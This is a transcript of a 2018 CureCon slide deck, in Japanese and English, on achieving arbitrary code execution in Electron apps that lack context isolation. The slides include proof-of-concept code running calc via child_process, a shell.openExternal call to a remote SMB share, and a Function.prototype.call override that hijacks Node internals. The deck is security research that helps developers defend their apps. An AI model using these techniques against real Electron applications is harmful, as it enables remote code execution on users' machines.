Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

ベルリンで開催されたCure53のイベント、CureConの資料です。

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

August 18, 2018
Tweet

Transcript

  1. 4.
  2. 5.

    1

  3. 6.
  4. 9.

    main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow();

    //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  5. 10.

    index.html <!DOCTYPE html> <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1>

    <style> body{ background:url('island.png') } </style> </body> </html>
  6. 13.

    let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } });

    win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html
  7. 15.

    /* preload.js */ typeof require === 'function';//true window.runCalc = function(){

    require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> Node
  8. 18.

    2

  9. 20.
  10. 22.

    /* Content Script */ window.abc = 123; /* https://example.com */

    alert(window.abc)//undefined Isolated World
  11. 26.
  12. 27.

    3

  13. 28.
  14. 29.
  15. 30.

    /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); http(s):
  16. 32.

    /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =

    ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false);
  17. 37.
  18. 39.

    const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • The Tale

    of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
  19. 40.

    • • • InsertScript: DLL Hijacking via URL files (Alex

    Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  20. 42.

    // Clean cache on quit. process.on('exit', function () { for

    (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib /common/asar.js#L30-L36
  21. 43.

    EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...]

    var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231
  22. 44.

    function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113
  23. 45.

    function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  24. 47.

    function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }
  25. 49.

    function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {

    var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); }
  26. 51.
  27. 52.
  28. 55.